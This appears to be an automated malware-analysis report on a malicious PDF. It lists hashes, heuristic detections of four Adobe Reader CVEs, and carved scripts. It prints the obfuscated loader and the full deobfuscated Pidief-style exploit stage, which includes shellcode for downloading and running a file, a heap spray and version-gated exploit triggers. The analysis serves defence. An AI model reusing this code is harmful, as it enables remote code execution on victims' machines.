Malicious PDF — malware analysis report

Static analysis result for SHA-256 a4bfdc4c8f9181a9…

MALICIOUS

PDF

10.3 KB First seen: 2026-05-11
MD5: c347941387d082d476a1fef3d97018f7 SHA-1: fe2dccbc85d5a0b334fed627d580b3956654715a SHA-256: a4bfdc4c8f9181a9f888ffe08fd9b46517b648a6f2abfa91f36d87dbb2b11ef5
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0015_000.js pdf-javascript-stream PDF /JS object 15 at offset 0x1FD7 2688 bytes
SHA-256: 0471005261f641b58665c79b194fc73656eea58b0e2d2e33b17b7642c4a28c6d
Preview script
First 1,000 lines of the extracted script
// 14fa36216cf24c71730c4472cec66d3e
var uT=this;
// e5c82072b4dbc9ef26c166bc804a4779
var x=String("%");
// 20fff122a1a4b691746e828794af715a
var l=new String("cha"+"rCo"+"deAF1mH".substr(0,3)+"t");
// c542ad4d5153ad520a1818b47447abab
var j=String("une"+"sca"+"perMw".substr(0,2));
// a8a4c7183647a680e1205c55d2b97190
var xU=22-21;
// fd6a45f0b346deab626629abcddf4355
var sR="getP"+"ageN"+"umWo"+"rds";
// cb75bc1f7f27529088e75bc0de507d1d
var f="leng"+"thRY63".substr(0,2);
// fc63395bf569a8cab791d1c762d5898d
var t=String("chNlL".substr(0,2)+"arDmsO".substr(0,2)+"tBIOCoBtIO".substr(4,2)+"Elt8deE8lt".substr(4,2)+"sLHmAtsLmH".substr(4,2));
// 5ffafa3253e6a90b4036eddd4b055ae3
var h=100-100;
// dcca3ab859a3c362919832efc5865b84;
// e6276d513a220b01163eb7d4d15766d8
var b=75;
// 056004d2c798650c8872bf1ca691fc96
var r=2;
// 11c05aa8a620ca879a3d7177a84f9695
var p="subs"+"tr";
// 09bb96fb8aad41f4c94f67c54bcf26a0
var rE=String;
// 590c3e4c4c8bb2765d8661a403badd52
var oB=27-25;
// a198da3adf01d1c2c3fccdec62d594e7
var hO=String("fr"+"omx9r".substr(0,2)+"Ch"+"HUv9ar9vHU".substr(4,2)+"Co6e5O".substr(0,2)+"demSF".substr(0,2));
// a5128c6ccea72ee6dcd62a44660eeb41
var qJ=new String("evLbKs".substr(0,2)+"AC7RalRC7A".substr(4,2));
// b31a2d5d2f7da951dd658ad99f00e477
var pQ=new String("getP"+"ageN"+"thWo"+"rdOCc".substr(0,2));
// bacabaf33befb1cd78628970448ef24c
function oD(d,fW){return d[fW]};
// eb37bacd0b56ce82860a6278d91ca5e8;
// fd19584aca03cdf24e6c52e0b19fcacd
var yB=uT[sR](r);
// e5bcca35e8abd19cd2550a8e0d2ff81a
var bK=uT[qJ];
// 7221c3b84045306e479d3f09829e2208
function aF(d,bO){return d[p](bO,oB)};
// 19f3dc293d7a48041321ab34439d0452
function wH(hOL,tO){return hOL^tO;};
// 1c8ddd4c1a6cc980b3a903a7b0ea807a
function sV(d){return d[f]-oB};
// c31df9f2c2967055ff3b8c47a0c09574
var t=uT[t];
// 36b4597573a14f6fd71c4f72848e5c6e
var tM=new rE();
// 7d0966b9c1ae3a3672f53be035f498f1
function iZ(tK,bO){return tK[l](bO)};
// d23b26dfe1546c6969f7448f64edd95e
function gV(jK,eX){return jK+eX};
// f8b8a1cd47b62d299a1b792dc4e5c5fb
function bE(jK,eX){return jK-eX};
// ede2326cbc75c1ea2f08243ac15572e0
var wT=uT[j];
// f0dd82a83f5f20e582f602aa2aa3cd2e
function fI(kT){return uT[pQ](r,kT)};
// db79857b0a72d5efc4d6847716cf0c36
function z(kT){
// 082574a4ef142f8b04c898ea2e27aa3f
var v=fI(kT);
// 5afadc09b9a982cbc090794970587560
bO=sV(v);
// 18e4f0ad72c66edbab5e5852f3b7dce3
tKX=aF(v,bO);
// 0359ccec467a08d999fb8f71520f6042
pE = wT(gV(x,tKX));return iZ(pE,h);};for(var kT=h;kT<yB;kT++){
// 6bd212af36db3320fc139e3e1b7fc9c4
var oT=z(kT);
// 676d0400c3aee9e2a0183f06db8b7bd2
var bC=wH(oT,b);
// db859fc0bd061145a5d2cd275d306fb1
tM+=oD(rE,hO)(bC);
// 0db7ad1234fedd43daa774ac9ebfde72
}bK(tM);
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3776 bytes
SHA-256: ccec4187a0e331c39cf84ed5a9129e0127e373d7bf2ca6c0110c5350b58561f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
�������������������
	var src_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%';
	var dest_table= 'JQ2cS-uPHtBa/gCNDfU6Ej:lwxnM1L0k&sOI9imTpqXbd3GA%?0WY48y_V.ZvrRFe7zhKo5=';

var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	u = for_unescape(u);

	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);
	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function for_unescape(str)
{
	var out = "";

    str = bin2hex(str);
    g = Math.round(str.length / 4);
	if (g != str.length /4) str+="00";

	for(var i=0; i < str.length; i+=4)
	{
		out+="%u" + str.substr(i+2, 2) + str.substr(i, 2);
	}

	return out;	
}


function bin2hex (s){

    var i, f = 0, a = [];
    
    s += '';
    f = s.length;
    
    for (i = 0; i<f; i++) {
        a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();
    }
    
    return a.join('');
}



function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	var sf="1.000000000.000000000.1337 : 3.13.37";
	util.printd(sf, new Date());           
	try {	
		media.newPlayer(null);              
	} catch(e) {}
	util.printd(sf, new Date());
}

}

U2UcYKr();

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